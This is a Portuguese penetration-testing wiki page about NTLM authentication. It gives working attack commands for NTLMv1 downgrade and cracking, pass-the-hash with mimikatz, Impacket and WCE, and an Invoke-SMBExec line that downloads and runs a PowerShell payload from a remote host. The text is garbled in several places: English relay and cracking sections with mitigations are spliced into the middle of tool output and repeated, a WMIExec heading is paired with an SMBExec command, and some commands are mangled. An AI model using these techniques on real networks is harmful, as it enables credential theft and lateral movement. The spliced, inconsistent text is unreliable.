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NTLM

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Informações Básicas

Em ambientes onde Windows XP e Server 2003 estão em operação, são utilizados hashes LM (Lan Manager), embora seja amplamente reconhecido que esses hashes podem ser facilmente comprometidos. Um hash LM específico, AAD3B435B51404EEAAD3B435B51404EE, indica um cenário em que o LM não é utilizado, representando o hash para uma string vazia.

Por padrão, o protocolo de autenticação Kerberos é o método principal utilizado. O NTLM (NT LAN Manager) entra em ação sob circunstâncias específicas: ausência de Active Directory, inexistência do domínio, mau funcionamento do Kerberos devido a configuração inadequada, ou quando as conexões são tentadas usando um endereço IP em vez de um nome de host válido.

A presença do cabeçalho "NTLMSSP" em pacotes de rede sinaliza um processo de autenticação NTLM.

O suporte aos protocolos de autenticação - LM, NTLMv1 e NTLMv2 - é facilitado por uma DLL específica localizada em %windir%\Windows\System32\msv1\_0.dll.

Pontos Chave:

  • Os hashes LM são vulneráveis e um hash LM vazio (AAD3B435B51404EEAAD3B435B51404EE) indica que não está sendo utilizado.
  • Kerberos é o método de autenticação padrão, com o NTLM usado apenas sob certas condições.
  • Os pacotes de autenticação NTLM são identificáveis pelo cabeçalho "NTLMSSP".
  • Os protocolos LM, NTLMv1 e NTLMv2 são suportados pelo arquivo de sistema msv1\_0.dll.

LM, NTLMv1 e NTLMv2

Você pode verificar e configurar qual protocolo será utilizado:

GUI

Execute secpol.msc -> Políticas locais -> Opções de segurança -> Segurança de rede: Nível de autenticação do LAN Manager. Existem 6 níveis (de 0 a 5).

Registro

Isso definirá o nível 5:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

Valores possíveis:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

Esquema básico de autenticação de domínio NTLM

  1. O usuário introduz suas credenciais
  2. A máquina cliente envia uma solicitação de autenticação enviando o nome do domínio e o nome de usuário
  3. O servidor envia o desafio
  4. O cliente criptografa o desafio usando o hash da senha como chave e o envia como resposta
  5. O servidor envia para o controlador de domínio o nome do domínio, o nome de usuário, o desafio e a resposta. Se não houver um Active Directory configurado ou o nome do domínio for o nome do servidor, as credenciais são verificadas localmente.
  6. O controlador de domínio verifica se tudo está correto e envia as informações para o servidor

O servidor e o Controlador de Domínio são capazes de criar um Canal Seguro via servidor Netlogon pois o Controlador de Domínio conhece a senha do servidor (ela está dentro do banco de dados NTDS.DIT).

Esquema de autenticação NTLM local

A autenticação é como a mencionada anteriormente, mas o servidor conhece o hash do usuário que tenta se autenticar dentro do arquivo SAM. Portanto, em vez de perguntar ao Controlador de Domínio, o servidor irá verificar por si só se o usuário pode se autenticar.

Desafio NTLMv1

O comprimento do desafio é de 8 bytes e a resposta tem 24 bytes de comprimento.

O hash NT (16 bytes) é dividido em 3 partes de 7 bytes cada (7B + 7B + (2B+0x00*5)): a última parte é preenchida com zeros. Em seguida, o desafio é cifrado separadamente com cada parte e os bytes cifrados resultantes são unidos. Total: 8B + 8B + 8B = 24 bytes.

Problemas:

  • Falta de aleatoriedade
  • As 3 partes podem ser atacadas separadamente para encontrar o hash NT
  • DES é passível de quebra
  • A 3ª chave é composta sempre por 5 zeros.
  • Dado o mesmo desafio, a resposta será a mesma. Portanto, você pode dar como desafio para a vítima a string "1122334455667788" e atacar a resposta usando tabelas arco-íris pré-computadas.

Ataque NTLMv1

Atualmente está se tornando menos comum encontrar ambientes com Delegação Irrestrita configurada, mas isso não significa que você não possa abusar de um serviço de Spooler de Impressão configurado.

Você poderia abusar de algumas credenciais/sessões que você já tem no AD para solicitar que a impressora se autentique contra algum host sob seu controle. Em seguida, usando metasploit auxiliary/server/capture/smb ou responder, você pode definir o desafio de autenticação como 1122334455667788, capturar a tentativa de autenticação e, se ela foi feita usando NTLMv1, você será capaz de quebrá-la.
Se estiver usando responder, você poderia tentar **usar a flag --lm ** para tentar rebaixar a autenticação.
Obs.: Para essa técnica, a autenticação deve ser feita usando NTLMv1 (NTLMv2 não é válido).

Lembre-se de que a impressora usará a conta de computador durante a autenticação, e as contas de computador usam senhas longas e aleatórias que você provavelmente não conseguirá quebrar usando dicionários comuns. Mas a autenticação NTLMv1 usa DES (mais informações aqui), então usando alguns serviços especialmente dedicados a quebrar DES você será capaz de quebrá-la (você poderia usar https://crack.sh/ por exemplo).

Ataque NTLMv1 com hashcat

O NTLMv1 também pode ser quebrado com a Ferramenta Multi NTLMv1 https://github.com/evilmog/ntlmv1-multi que formata mensagens NTLMv1 de uma maneira que pode ser quebrada com o hashcat.

O comando

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

NTLM Relay Attack

Introduction

NTLM relay attacks are a common technique used by attackers to escalate privileges within a network. This attack involves intercepting NTLM authentication traffic and relaying it to a target server to gain unauthorized access.

How it Works

  1. The attacker intercepts NTLM authentication traffic between a client and a server.
  2. The attacker relays this traffic to another server within the network.
  3. The target server receives the relayed authentication request, believing it is coming from the original client.
  4. If successful, the attacker gains unauthorized access to the target server using the intercepted credentials.

Mitigation

To mitigate NTLM relay attacks, consider implementing the following measures:

  • Enforce SMB Signing: Require SMB signing to prevent tampering with authentication traffic.
  • Enable Extended Protection for Authentication: Helps protect against NTLM relay attacks.
  • Use LDAP Signing and Channel Binding: Adds an extra layer of security to LDAP authentication.
  • Implement Credential Guard: Helps protect against Pass-the-Hash attacks by storing NTLM password hashes securely.

By implementing these measures, you can significantly reduce the risk of NTLM relay attacks within your network.

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

NTLM Hashes

Overview

NTLM hashes are commonly used in Windows environments for authentication. These hashes can be extracted from the Windows registry or captured over the network using tools like Responder or Mimikatz.

Cracking NTLM Hashes

Once you have obtained NTLM hashes, you can crack them using tools like Hashcat or John the Ripper. These tools use different techniques such as dictionary attacks, brute force attacks, or rule-based attacks to crack the hashes.

Protecting Against NTLM Hash Cracking

To protect against NTLM hash cracking, it is recommended to use strong and unique passwords, enable multi-factor authentication, and disable the use of NTLM where possible. Additionally, regularly changing passwords and monitoring for any suspicious activity can help enhance security in Windows environments.

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

Execute o hashcat (distribuído é melhor através de uma ferramenta como hashtopolis) pois caso contrário isso levará vários dias.

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

Neste caso, sabemos que a senha é password, então vamos trapacear para fins de demonstração:

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

Precisamos agora usar as hashcat-utilities para converter as chaves des quebradas em partes do hash NTLM:

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

Finalmente a última parte:

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

NTLM Relay Attack

Overview

In an NTLM relay attack, an attacker intercepts an authentication attempt from a victim to a server and relays it to another server to gain unauthorized access. This attack takes advantage of the NTLM authentication protocol's design weaknesses.

How it Works

  1. The attacker intercepts an NTLM authentication request from the victim to a server.
  2. The attacker relays the request to another server.
  3. The second server believes the request is coming from the victim and grants access.
  4. The attacker gains unauthorized access to the second server.

Mitigation

To prevent NTLM relay attacks, consider implementing the following measures:

  • Enforce SMB Signing: Require SMB signing to prevent attackers from tampering with authentication requests.
  • Use LDAP Signing and Channel Binding: Implement LDAP signing and channel binding to protect LDAP communications.
  • Enable Extended Protection for Authentication: This helps protect against NTLM relay attacks by requiring channel binding tokens.
  • Disable NTLM: Consider disabling NTLM authentication in favor of more secure protocols like Kerberos.

By implementing these measures, you can significantly reduce the risk of NTLM relay attacks on your network.

NTHASH=b4b9b02e6f09a9bd760f388b6700586c

Desafio NTLMv2

O comprimento do desafio é de 8 bytes e são enviadas 2 respostas: Uma tem 24 bytes de comprimento e o comprimento da outra é variável.

A primeira resposta é criada cifrando usando HMAC_MD5 a string composta pelo cliente e o domínio e usando como chave o hash MD4 do hash NT. Em seguida, o resultado será usado como chave para cifrar usando HMAC_MD5 o desafio. Para isso, um desafio do cliente de 8 bytes será adicionado. Total: 24 B.

A segunda resposta é criada usando vários valores (um novo desafio do cliente, um timestamp para evitar ataques de repetição...)

Se você tiver um pcap que capturou um processo de autenticação bem-sucedido, você pode seguir este guia para obter o domínio, nome de usuário, desafio e resposta e tentar quebrar a senha: https://research.801labs.org/cracking-an-ntlmv2-hash/

Pass-the-Hash

Depois de obter o hash da vítima, você pode usá-lo para se passar por ela.
Você precisa usar uma ferramenta que irá realizar a autenticação NTLM usando esse hash, ou você poderia criar um novo sessionlogon e injetar esse hash dentro do LSASS, para que quando qualquer autenticação NTLM for realizada, esse hash será usado. A última opção é o que o mimikatz faz.

Por favor, lembre-se de que você também pode realizar ataques Pass-the-Hash usando contas de Computador.

Mimikatz

Precisa ser executado como administrador

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

Isso iniciará um processo que pertencerá aos usuários que iniciaram o mimikatz, mas internamente no LSASS, as credenciais salvas são as que estão dentro dos parâmetros do mimikatz. Em seguida, você pode acessar recursos de rede como se fosse esse usuário (similar ao truque runas /netonly, mas você não precisa saber a senha em texto simples).

Pass-the-Hash a partir do linux

Você pode obter execução de código em máquinas Windows usando Pass-the-Hash a partir do Linux.
Acesse aqui para aprender como fazer isso.

Ferramentas compiladas do Impacket para Windows

Você pode baixar binários do Impacket para Windows aqui.

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exe (Neste caso, você precisa especificar um comando, cmd.exe e powershell.exe não são válidos para obter um shell interativo)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
  • Existem vários outros binários do Impacket...

Invoke-TheHash

Você pode obter os scripts do PowerShell daqui: https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

Invocar-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

Chamar-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

Esta função é uma combinação de todas as outras. Você pode passar vários hosts, excluir alguns e selecionar a opção que deseja usar (SMBExec, WMIExec, SMBClient, SMBEnum). Se você selecionar qualquer um dos SMBExec e WMIExec mas não fornecer nenhum parâmetro Command, ele apenas irá verificar se você tem permissões suficientes.

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM Pass the Hash

Editor de Credenciais do Windows (WCE)

Precisa ser executado como administrador

Esta ferramenta fará a mesma coisa que o mimikatz (modificar a memória do LSASS).

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

Execução remota manual do Windows com nome de usuário e senha

{% content-ref url="../lateral-movement/" %} lateral-movement {% endcontent-ref %}

Extraindo credenciais de um Host do Windows

Para mais informações sobre como obter credenciais de um host do Windows, você deve ler esta página.

NTLM Relay e Responder

Leia um guia mais detalhado sobre como realizar esses ataques aqui:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

Analisando desafios NTLM de uma captura de rede

Você pode usar https://github.com/mlgualtieri/NTLMRawUnHide

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